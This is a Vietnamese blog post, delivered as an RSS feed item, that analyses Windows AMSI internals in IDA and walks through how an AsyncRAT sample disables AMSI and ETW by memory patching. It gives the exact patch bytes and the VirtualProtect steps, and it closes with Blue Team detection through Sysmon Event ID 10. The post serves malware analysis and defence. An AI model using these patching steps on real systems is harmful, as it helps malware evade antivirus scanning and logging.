<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>SawG23</title><description>SawG23&apos;s Blogggg</description><link>https://sawg23.github.io/</link><language>en</language><item><title>AMSI Bypass - Nguyên lý cốt lõi và góc nhìn của BlueTeam</title><link>https://sawg23.github.io/blog/posts/share/amsi_bypass-core_principles_and_the_blueteam_perspective/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/share/amsi_bypass-core_principles_and_the_blueteam_perspective/</guid><description>Phân tích cơ chế hoạt động của AMSI,một vài kĩ thuật bypass, và góc nhìn của BlueTeam.</description><pubDate>Tue, 23 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;Antimalware Scan Interface (AMSI)&lt;/code&gt; là lá chắn đắc lực của Microsoft giúp phát hiện và ngăn chặn fileless malware hay các script độc hại (PowerShell, VBScript) chạy trực tiếp trên bộ nhớ. Tuy nhiên, trong cuộc đua bảo mật, kẻ tấn công luôn tìm cách vượt mặt cơ chế này bằng nhiều kỹ thuật tinh vi, từ làm rối mã (Obfuscation) đến can thiệp trực tiếp vào bộ nhớ (Memory Patching).
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/By2hUm4MMe.png&quot; alt=&quot;image&quot; /&gt;
Trong blog này, chúng ta sẽ đi sâu vào cơ chế hoạt động của AMSI, khám phá các kỹ thuật bypass phổ biến và phân tích thực tế một số mẫu mã độc áp dụng phương pháp này.&lt;/p&gt;
&lt;h1&gt;1. Antimalware Scan Interface là gì?&lt;/h1&gt;
&lt;p&gt;theo tài liệu của microsoft
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/rJ7KdQEzMl.png&quot; alt=&quot;image&quot; /&gt;
Đại khái thì:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AMSI (Windows Antimalware Scan Interface) là một chuẩn interface trung gian cho phép các ứng dụng tích hợp trực tiếp với bất kỳ phần mềm diệt virus (AV) nào trên hệ thống để tăng cường khả năng bảo vệ.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Các đặc điểm cốt lõi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Độc lập (Vendor-agnostic): Tương thích với mọi hãng phần mềm diệt virus.&lt;/li&gt;
&lt;li&gt;Quét đa nền tảng: Hỗ trợ quét tệp tin, bộ nhớ (memory), luồng dữ liệu (stream) và kiểm tra mức độ uy tín của URL/IP.&lt;/li&gt;
&lt;li&gt;Tương quan theo phiên (Session-based): Cho phép phần mềm AV xâu chuỗi và phân tích các mảnh payload rời rạc trong cùng một phiên hoạt động, giúp phát hiện các kỹ thuật lẩn tránh tinh vi một cách chính xác hơn so với việc quét đơn lẻ.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Một số thành phần tích hợp với AMSI là:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)&lt;/li&gt;
&lt;li&gt;PowerShell (scripts, interactive use, and dynamic code evaluation)&lt;/li&gt;
&lt;li&gt;Windows Script Host (wscript.exe and cscript.exe)&lt;/li&gt;
&lt;li&gt;JavaScript and VBScript&lt;/li&gt;
&lt;li&gt;Office VBA macros&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. AMSI hoạt động như thế nào?&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://learn.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Tầng Ứng dụng&lt;/code&gt;: Các chương trình như PowerShell hoặc VBScript gửi dữ liệu thô (script chưa mã hóa) xuống hệ thống để yêu cầu kiểm tra.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Win32 API&lt;/code&gt;: Dữ liệu đi vào thư viện AMSI.dll thông qua các hàm như AmsiScanBuffer() hoặc AmsiScanString().&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;Đây là điểm yếu thường bị tấn công nhất. Attacker thường dùng Memory Patching can thiệp trực tiếp vào AmsiScanBuffer để ép hàm này trả về kết quả &quot;An toàn&quot; ngay lập tức.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;COM &amp;amp; Provider&lt;/code&gt;: AMSI.dll sẽ kiểm tra Registry xem máy tính đang dùng Antivirus nào (Windows Defender hay hãng thứ 3) để chuyển hướng yêu cầu đến đúng provider tương ứng.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RPC&lt;/code&gt;: Dữ liệu được truyền qua kênh RPC (Remote Procedure Call) để đi từ tiến trình của ứng dụng sang tiến trình của phần mềm diệt virus một cách độc lập.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Scan Engine&lt;/code&gt;: Tiến trình diệt virus (ví dụ MsMpEng.exe của Defender) sẽ tiếp nhận dữ liệu, thực hiện quét (signature, heuristic) và trả về &quot;phán quyết&quot; cuối cùng (Sạch hay Độc hại) để ứng dụng quyết định việc thực thi.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;3. Phân tích amsi.dll với IDA&lt;/h1&gt;
&lt;p&gt;Để phân tích sâu hơn thì chúng ta dùng ida và load amsi.dll để phân tích
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/B14JbNEGze.png&quot; alt=&quot;image&quot; /&gt;
amsi.dll có thể dễ dàng tìm thấy ở thư mục &lt;code&gt;System32&lt;/code&gt;, copy ra thư mục ngoài để phục vụ phân tích.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/BkBQGNVMfl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3.1. AmsiInitialize()&lt;/h2&gt;
&lt;p&gt;Khi một tiến trình (như powershell.exe) vừa khởi chạy, nó chưa thể quét mã độc ngay. Việc đầu tiên nó làm là gọi hàm &lt;code&gt;AmsiInitialize&lt;/code&gt; để &quot;đánh thức&quot; AMSI.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/SkvmAwNGMg.png&quot; alt=&quot;image&quot; /&gt;
Quá trình này diễn ra qua 3 bước cốt lõi:&lt;/p&gt;
&lt;h3&gt;3.1.1. Cấp phát amsiContext và Magic Header&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/rkPa1OVMMg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sau khi xin hệ điều hành một vùng nhớ (CoTaskMemAlloc), AMSI lập tức đóng dấu vào 4 byte đầu tiên với giá trị là &lt;code&gt;0x49534D41&lt;/code&gt;, tương đương với chuỗi ASCII &lt;code&gt;&quot;AMSI&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ở phần &lt;code&gt;AmsiScanBuffer&lt;/code&gt; tiếp theo, chúng ta sẽ thấy hệ thống kiểm tra lại chính &quot;con dấu&quot; này để đảm bảo dữ liệu không bị giả mạo trước khi cho phép quét.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.1.2. Caller Identification&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/r15ZmOVMfg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Process gọi phải cung cấp tên định danh thông qua tham số appName (ví dụ: chuỗi &quot;PowerShell&quot;). Chuỗi dữ liệu này được sao chép trực tiếp vào vùng nhớ và liên kết vào thuộc tính thứ hai của cấu trúc Context.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.1.3. Khởi tạo Engine Scan COM&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/Hyg_IdNffg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AMSI sử dụng định danh &lt;code&gt;CLSID_Antimalware&lt;/code&gt; để truy vấn Windows Registry, qua đó xác định module Antivirus Provider nào đang được ủy quyền trên hệ thống (Windows Defender, CrowdStrike, Kaspersky...). API DllGetClassObject sẽ trả về một đối tượng COM Factory (ppv).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ngay sau đó, quá trình VTable Dispatching được thực thi:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/HkIfvdEfMg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bằng cách gọi phương thức tại offset +24 (tương ứng với hàm &lt;code&gt;CreateInstance&lt;/code&gt; trong cấu trúc COM), AMSI yêu cầu Provider khởi tạo một object &lt;code&gt;IAntimalware&lt;/code&gt;. Object này đại diện cho engine phân tích lõi của AV — sau đó được ánh xạ vào vị trí thứ ba (v9 + 4) trong cấu trúc Context.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Với &lt;code&gt;AMSICONTEXT&lt;/code&gt; đã được cấp phát và liên kết thành công với Antivirus Provider. Ở giai đoạn tiếp theo, cấu trúc dữ liệu này sẽ được truyền vào hàm &lt;code&gt;AmsiScanBuffer()&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;3.2. AmsiScanBuffer()&lt;/h2&gt;
&lt;p&gt;Sau khi &lt;code&gt;AmsiInitialize&lt;/code&gt; thiết lập xong kênh liên lạc và tạo ra một &lt;code&gt;amsiContext&lt;/code&gt; hoàn chỉnh, hệ thống đã sẵn sàng. Khi một process cố gắng thực thi mã (script, macro), dữ liệu thô sẽ được đẩy vào &lt;code&gt;AmsiScanBuffer()&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/HJbrmV4zze.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3.2.1. &lt;code&gt;Validate đầu vào&lt;/code&gt; — cũng là điểm yếu của &lt;code&gt;amsi.dll&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/B1qQBHVzMx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hàm kiểm tra tuần tự &lt;code&gt;buffer&lt;/code&gt;, &lt;code&gt;length&lt;/code&gt;, &lt;code&gt;result&lt;/code&gt;, &lt;code&gt;amsiContext&lt;/code&gt;, &lt;code&gt;magic signature&lt;/code&gt;, &lt;code&gt;provider pointer&lt;/code&gt;. Tất cả nhánh fail đều trả về cùng một mã &lt;code&gt;E_INVALIDARG&lt;/code&gt; (0x80070057).
→ Đây chính là cơ sở của kỹ thuật &quot;&lt;code&gt;AMSI patch bypass&lt;/code&gt;&quot;: chỉ cần ép hàm nhảy thẳng vào nhánh return sớm này (patch vài byte đầu function), nội dung sẽ không bao giờ đến AV engine mà vẫn trả mã lỗi như đang hoạt động bình thường — rất khó phát hiện bằng cách kiểm tra return code đơn thuần.&lt;/p&gt;
&lt;h3&gt;3.2.2. &lt;code&gt;CAmsiBufferStream&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/SynbdSNMzx.png&quot; alt=&quot;image&quot; /&gt;
AMSI không truyền buffer thô cho AV. Nó dựng một object ngay trên stack (gán thủ công con trỏ vtable), bọc (buffer, length) thành dạng stream chuẩn — giống cách &lt;code&gt;COM IStream&lt;/code&gt; hoạt động. Đây là &lt;code&gt;Abstract Class&lt;/code&gt; giúp mọi AV vendor xử lý dữ liệu theo cùng một &lt;code&gt;interface&lt;/code&gt;, bất kể nguồn gốc (script, macro, JS...).&lt;/p&gt;
&lt;h3&gt;3.2.3. &lt;code&gt;Dispatch qua vtable&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/ryGptrVzfx.png&quot; alt=&quot;image&quot; /&gt;
Offset &lt;code&gt;+24&lt;/code&gt; (slot thứ 4, sau QueryInterface/AddRef/Release) chính là phương thức &lt;code&gt;Scan()&lt;/code&gt; của interface &lt;code&gt;IAntimalwareProvider&lt;/code&gt;.
Tóm lại toàn bộ đoạn code này tương đương:
&lt;code&gt;return v10-&amp;gt;Scan(&amp;amp;streamObject, result, 0);&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AMSI thực chất chỉ là một lớp trung gian (broker), nó hoàn toàn không phải là một engine quét mã độc. Nhìn vào mã Assembly, ta thấy nó chỉ làm đúng 3 việc: Xác thực context (Magic Header) → Đóng gói dữ liệu (CAmsiBufferStream) → Gọi VTable của AV Provider (hàm Scan).&lt;/p&gt;
&lt;p&gt;Vì vậy, mọi kỹ thuật bypass AMSI đều tập trung vào việc &quot;bịt mắt&quot; hoặc &quot;cắt đứt&quot; luồng giao liên này trước khi dữ liệu kịp chạm đến engine quét thực sự (như Windows Defender).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;4. AMSI kết hợp cùng ETW&lt;/h1&gt;
&lt;p&gt;Một trong những vấn đề đau đầu nhất của phân tích mã độc là xử lý các đoạn script bị làm rối (Obfuscated). Kẻ tấn công liên tục đổi mới phương thức mã hóa nhằm qua mặt signature của Antivirus. Tuy nhiên, chúng vướng phải một điểm nghẽn chí mạng ở kiến trúc hệ điều hành: CPU không thể chạy các đoạn mã Base64 hay bất kì phương thức obfuscate nào. Script bắt buộc phải được giải mã để chạy bình thường.&lt;/p&gt;
&lt;p&gt;Chính tại khoảnh khắc payload hiện nguyên hình trên RAM, AMSI sẽ can thiệp. Thay vì mòn mỏi ngồi dịch ngược các hàm giải mã tĩnh, chúng ta có thể &quot;ngồi ôm cây đợi thỏ&quot; nhờ vào sức mạnh của ETW (Event Tracing for Windows).&lt;/p&gt;
&lt;p&gt;ETW là một cơ sở hạ tầng thu thập nhật ký (telemetry) tốc độ cao nằm sâu trong Kernel của Windows. Do AMSI được tích hợp sẵn như một ETW Provider, chúng ta có thể sử dụng công cụ dòng lệnh logman để ghi lại mọi động thái của nó:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;logman start AMSITrace -p &quot;Microsoft-Antimalware-Scan-Interface&quot; -o AMSITrace.etl -ets&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Khi quá trình kích hoạt mã độc kết thúc, chúng ta chỉ cần dừng phiên theo dõi:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;logman stop AMSITrace -ets&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;File &lt;code&gt;.etl&lt;/code&gt; thu được là một trong những artifact quan trọng khi phân tích các loại malware có sử dụng kĩ thuật &lt;code&gt;bypass AMSI&lt;/code&gt; này. Nó cho chúng ta biết chính xác AMSI được gọi khi nào, engine nào đã kích hoạt nó, và quan trọng nhất: toàn bộ nội dung script nguyên bản trước khi thực thi.&lt;/p&gt;
&lt;p&gt;Vì sample mã độc toi chọn nó bypass luôn ETW và vì khá lười để tìm sample khác, nên đây là blog trong các bạn muốn tìm hiểu thêm &lt;a href=&quot;https://theshadowslights.com/posts/malware-analysis/02/#your-obfuscation-means-nothing&quot;&gt;Accelerating Malicious Script Analysis with AMSI&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;5. Case study về kĩ thuật AMSI Bypass&lt;/h1&gt;
&lt;h2&gt;5.1 Overview&lt;/h2&gt;
&lt;p&gt;Để hiểu rõ hơn về cách mà attacker vượt mặt AMSI, chúng ta sẽ phân tích sample mã độc &lt;code&gt;AsyncRAT&lt;/code&gt; có sử dụng kỹ thuật Memory Patching, kết hợp vô hiệu hóa cả AMSI và ETW logging để tạo chuỗi bypass khá tinh vi và tiên tiến.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.helpnetsecurity.com/wp-content/uploads/2025/07/14205950/asyncrat-1500.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Theo &lt;a href=&quot;https://cyble.com/blog/null-amsi-evading-security-to-deploy-asyncrat/&quot;&gt;cyble.com&lt;/a&gt;: Cyble Research and Intelligence Labs (CRIL) đã phát hiện một chiến dịch tấn công sử dụng các file LNK độc hại được ngụy trang thành wallpaper nhằm lừa người dùng thực thi chúng. Chiến dịch này được đặt tên &quot;Ghost in the Shell&quot; — một cái tên không phải ngẫu nhiên khi toàn bộ payload được thực thi hoàn toàn trong memory, không để lại dấu vết trên disk.&lt;/p&gt;
&lt;p&gt;Cụ thể, các file LNK được thể hiện dưới dạng wallpaper anime với các nhân vật nổi tiếng như Sasuke và Itachi Uchiha từ Naruto — khai thác tâm lý và sở thích của người dùng để tăng xác suất bị lừa click.&lt;/p&gt;
&lt;h2&gt;5.2 Infection chain&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/Bk-f1RwzMx.png&quot; alt=&quot;image&quot; /&gt;
&lt;em&gt;Nguồn ảnh: &lt;a href=&quot;https://cyble.com/blog/null-amsi-evading-security-to-deploy-asyncrat/&quot;&gt;Cyble - NULL AMSI: Evading Security to Deploy AsyncRAT&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;5.3 AMSI, ETW Bypass&lt;/h2&gt;
&lt;p&gt;Từ phân tích ở trên,ta biết được AmsiScanBuffer() có cấu trúc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Validate đầu vào (magic signature, pointer checks)&lt;/li&gt;
&lt;li&gt;Đóng gói dữ liệu thành &lt;code&gt;CAmsiBufferStream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Dispatch qua &lt;code&gt;vtable&lt;/code&gt; đến &lt;code&gt;AV provider&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kỹ thuật bypass này tận dụng điểm yếu chính mà chúng ta đã xác định: nhánh return sớm trong validation.Nhưng thay vì chỉ patch &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, sample này đi sâu hơn — nó vô hiệu hóa &lt;code&gt;AmsiInitialize&lt;/code&gt;, hàm khởi tạo context của AMSI mà chúng ta đã nói ở trên:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/rkOpDTPfMx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nó đang sử dụng kĩ thuật &lt;code&gt;Hex Byte Array Encoding&lt;/code&gt; nhằm vượt qua các cơ chế kiểm tra tĩnh và lấy địa chỉ &lt;code&gt;AmsiInitialize&lt;/code&gt; thông qua reflection&lt;/li&gt;
&lt;li&gt;Ngoài ra các chuỗi khác cũng dùng kĩ thuật Encoding tương tự
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/SkKlrBSGzx.png&quot; alt=&quot;image&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Tại sao chọn &lt;code&gt;AmsiInitialize&lt;/code&gt; thay vì &lt;code&gt;AmsiScanBuffer&lt;/code&gt;?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AmsiInitialize&lt;/code&gt; là pinch point duy nhất: Mỗi khi PowerShell khởi động, nó bắt buộc phải gọi AmsiInitialize để tạo context handle (systemContext) — đây là cơ sở của toàn bộ luồng quét sau này.&lt;/li&gt;
&lt;li&gt;Vô hiệu hóa từ gốc: Bằng cách patch &lt;code&gt;AmsiInitialize&lt;/code&gt; trả về &lt;code&gt;S_OK (0)&lt;/code&gt; nhưng không thực tế tạo &lt;code&gt;context&lt;/code&gt; hợp lệ, các hàm quét tiếp theo sẽ phải xử lý một &lt;code&gt;context &quot;rỗng&quot;&lt;/code&gt; — và hầu hết code AV không prepare cho scenario này.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3.1. AMSI - Opcode Patching&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Opcode cần patch: &quot;&lt;code&gt;mov eax, 0; ret&lt;/code&gt;&quot; (6 bytes)
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/r16-O6vffg.png&quot; alt=&quot;image&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bước 1&lt;/code&gt;: Loại bỏ write protection
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/HysOdTvMzg.png&quot; alt=&quot;image&quot; /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VirtualProtect&lt;/code&gt; (&lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;): Gọi API &lt;code&gt;VirtualProtect()&lt;/code&gt; để thay đổi quyền truy cập của vùng bộ nhớ chứa hàm &lt;code&gt;AmsiInitialize&lt;/code&gt; từ &lt;code&gt;RX&lt;/code&gt; (chỉ đọc/thực thi) sang &lt;code&gt;RWX&lt;/code&gt; (đọc/ghi/thực thi). Điều này là bắt buộc vì Windows kernel mặc định chặn ghi dữ liệu vào code section.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bước 2&lt;/code&gt;: Ghi opcode mới vào bộ nhớ
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/HJC0upDffx.png&quot; alt=&quot;image&quot; /&gt;
Copy 6 bytes opcode vào vùng nhớ của AmsiInitialize. &lt;code&gt;Opcode 0xb8 0x00 0x00 0x00 0x00 0xc3&lt;/code&gt; tương ứng với x86 assembly:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xb8&lt;/code&gt; = MOV EAX&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x00 0x00 0x00 0x00&lt;/code&gt; = value 0 (&lt;code&gt;HRESULT&lt;/code&gt; thành công)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0xc3&lt;/code&gt; = RET
Kết quả: hàm sẽ luôn trả về &lt;code&gt;S_OK (0)&lt;/code&gt; mà không thực hiện công việc thực sự — một &lt;code&gt;&quot;return statement bịp&quot;&lt;/code&gt; về mặt logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bước 3&lt;/code&gt;: Verify
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/BJDmKaPzMg.png&quot; alt=&quot;image&quot; /&gt;
&lt;ul&gt;
&lt;li&gt;Đọc lại từng byte vừa ghi để kiểm tra patch có thành công hay không. Điều này cực kỳ quan trọng vì:
Một số hệ thống có &lt;code&gt;Data Execution Prevention&lt;/code&gt; (DEP) hoặc đã patch Windows kernel để chặn việc ghi vào code section&lt;/li&gt;
&lt;li&gt;Nếu verification fail, script thoát ngay thay vì tiếp tục với một patch bị lỗi&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bước 4&lt;/code&gt;: Khôi phục write protection
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/Skf_KpPMGx.png&quot; alt=&quot;image&quot; /&gt;
&lt;ul&gt;
&lt;li&gt;Đổi quyền truy cập ngược lại từ RWX sang RX. Kỹ thuật này là anti-forensic — nó che giấu dấu vết của quá trình patch bằng cách khôi phục lại tình trạng ban đầu của memory page.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3.2. Vô hiệu hóa ETW Event Logging&lt;/h3&gt;
&lt;p&gt;Nhưng đó chưa phải hết. Ở phần trên chúng ta đã thảo luận rằng ETW là deep kernel infrastructure — nó ghi lại hầu như mọi thứ, bao gồm cả nội dung script được AMSI scan. Để tránh để lại dấu vết hoàn toàn, script tiếp tục:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/ByKIcaPffl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EtwEventWrite&lt;/code&gt; (ntdll.dll) là hàm kernel-mode gateway — mọi ETW event từ user-mode đều phải đi qua đây.&lt;/li&gt;
&lt;li&gt;Patch nó để &lt;code&gt;return ngay lập tức&lt;/code&gt; = mọi ETW event sẽ bị &quot;quất:))&quot; trước khi kịp ghi vào kernel log.&lt;/li&gt;
&lt;li&gt;Sau stage này, ngay cả logman cũng sẽ không thấy bất kỳ artifact nào.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3.3 một số kĩ thuật khác&lt;/h3&gt;
&lt;h4&gt;Accessing Undocumented APIs&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/H1j0-rrzze.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Indirect API Call&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/BkAy7HSffl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;ARCHITECTURE-AWARE&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/HkjCHrrMze.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;vì các kĩ thuật trên không nằm trong topic của blog, nên toi sẽ không đi sâu vào nó, các bạn có thể tải sample và tự nghiên cứu thêm.&lt;/p&gt;
&lt;h3&gt;5.4. Kraken - Sherlock HackTheBox&lt;/h3&gt;
&lt;p&gt;Trong lúc research về kĩ thuật này, toi vô tình nhận ra, sample mà author dùng trong challenge rất tương đồng với &lt;code&gt;AsyncRAT&lt;/code&gt; (chỉ khác về tên biến, một vài syntax). Có vẻ author đã lấy ý tưởng về chiến dịch lần này của asyncRAT. Challenge này toi có đã có làm một writeup về nó, các bạn có thể tham khảo.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/Byclx4HGfl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;6. Góc nhìn của Blue Team&lt;/h1&gt;
&lt;p&gt;Sau khi đi qua toàn bộ cơ chế hoạt động của AMSI và các kỹ thuật attacker dùng để vô hiệu hóa nó, câu hỏi cần đặt ra là: nếu AMSI đã bị blind, chúng ta còn có thể detect từ đâu?Câu trả lời nằm ở một nguyên tắc cốt lõi: dù attacker có bypass được AMSI hay ETW, hành vi thao túng bộ nhớ vẫn để lại dấu vết ở tầng thấp hơn — nơi mà các kỹ thuật evasion thông thường không với tới được. Ngoài ra trước khi bypass thành công, thì với những hành vi thao tác bộ nhớ, chúng đã để lại các artifact rất rõ ràng trên hệ thống.&lt;/p&gt;
&lt;h2&gt;6.1. Sysmon Event ID 10&lt;/h2&gt;
&lt;p&gt;Mọi kỹ thuật AMSI bypass theo hướng memory patching — dù là patch &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, &lt;code&gt;AmsiInitialize&lt;/code&gt;, hay &lt;code&gt;AmsiOpenSession&lt;/code&gt; — đều phải trải qua một bước không thể bỏ qua: truy cập vào vùng nhớ của &lt;code&gt;amsi.dll&lt;/code&gt; đang được load trong process đích để ghi đè opcode.
Sysmon ghi lại hành vi này qua &lt;strong&gt;EID 10 — ProcessAccess&lt;/strong&gt;, hoạt động qua kernel driver riêng (&lt;strong&gt;SysmonDrv&lt;/strong&gt;), hoàn toàn độc lập với &lt;code&gt;ETW pipeline&lt;/code&gt; của &lt;code&gt;AMSI&lt;/code&gt;. Đây là lý do EID 10 trở thành nguồn artifact đáng tin cậy nhất: dù &lt;code&gt;EtwEventWrite&lt;/code&gt; trong &lt;code&gt;ntdll.dll&lt;/code&gt; bị patch, Sysmon vẫn ghi log bình thường vì nó không đi qua con đường đó.
Điểm cần chú ý trong &lt;code&gt;CallTrace&lt;/code&gt;: khi patch xảy ra từ unbacked memory — tức là vùng nhớ không được map với bất kỳ module nào trên disk — đây là dấu hiệu mạnh của shellcode hoặc reflective loading. Kết hợp với TargetImage trỏ vào các script host như &lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, pattern này gần như chắc chắn là malicious.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dù mạnh mẽ, sysmon ID 10 tồn tại một nhược điểm lớn: Chỉ nhạy với Cross-Process và &lt;strong&gt;hoàn toàn bất lực trước kỹ thuật Self-Patching&lt;/strong&gt;. Khi một biến thể mã độc tự can thiệp vào bộ nhớ của chính nó (Intra-process) bằng cách gọi trực tiếp các API thông qua pseudo-handle, luồng thực thi hoàn toàn bypass qua cơ chế ObRegisterCallbacks của Sysmon driver ở tầng Kernel. Trong kịch bản này, ID 10 sẽ trả về con số 0 tròn trĩnh, buộc chúng ta phải chuyển hướng sang phối hợp với các lớp phòng thủ khác như &lt;code&gt;PowerShell EID 4104&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
